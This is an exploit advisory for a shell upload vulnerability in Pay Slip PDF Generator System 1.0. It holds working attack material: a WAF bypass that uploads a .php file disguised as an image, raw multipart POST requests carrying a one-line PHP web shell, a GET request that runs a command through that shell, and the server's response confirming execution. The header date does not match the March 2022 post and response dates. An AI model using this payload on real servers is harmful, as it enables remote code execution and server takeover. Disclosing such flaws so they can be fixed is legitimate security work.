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Pay Slip PDF Generator System 1.0 Shell Upload

Pay Slip PDF Generator System 1.0 Shell Upload
Posted Mar 27, 2022
Authored by Hejap Zairy

Pay Slip PDF Generator System version 1.0 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | b44aaa66447eba055a64d40119f175ee294c92412448c6220d2ae51aa757340f

Pay Slip PDF Generator System 1.0 Shell Upload

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# Title: Pay Slip PDF Generator System  1.0  Shell Upload
# Author: Hejap Zairy
# Date: 26.07.2022
# Vendor: https://www.sourcecodester.com/php/15242/employees-pay-slip-pdf-generator-system-email-using-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pess_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code php
Needs more filtering to upload profile files

php```
<script>
function displayImg(input,_this) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
$('#cimg').attr('src', e.target.result);
}

reader.readAsDataURL(input.files[0]);
}
}
$('#manage-user').submit(function(e){
e.preventDefault();
```


[+] Payload POST


```
POST /pess/admin/user/manage_user.php HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/pess
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

<?=`$_GET[515]`?>

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```


#Status: CRITICAL

[+] Payload GET

```
GET /pess/uploads/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1

Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1




```

#Response
```
HTTP/1.1 200 OK
Date: Thu, 26 Mar 2022 11:15:56 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```


# Description:
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.

# Proof and Exploit:
https://i.imgur.com/YFsD2Ub.png
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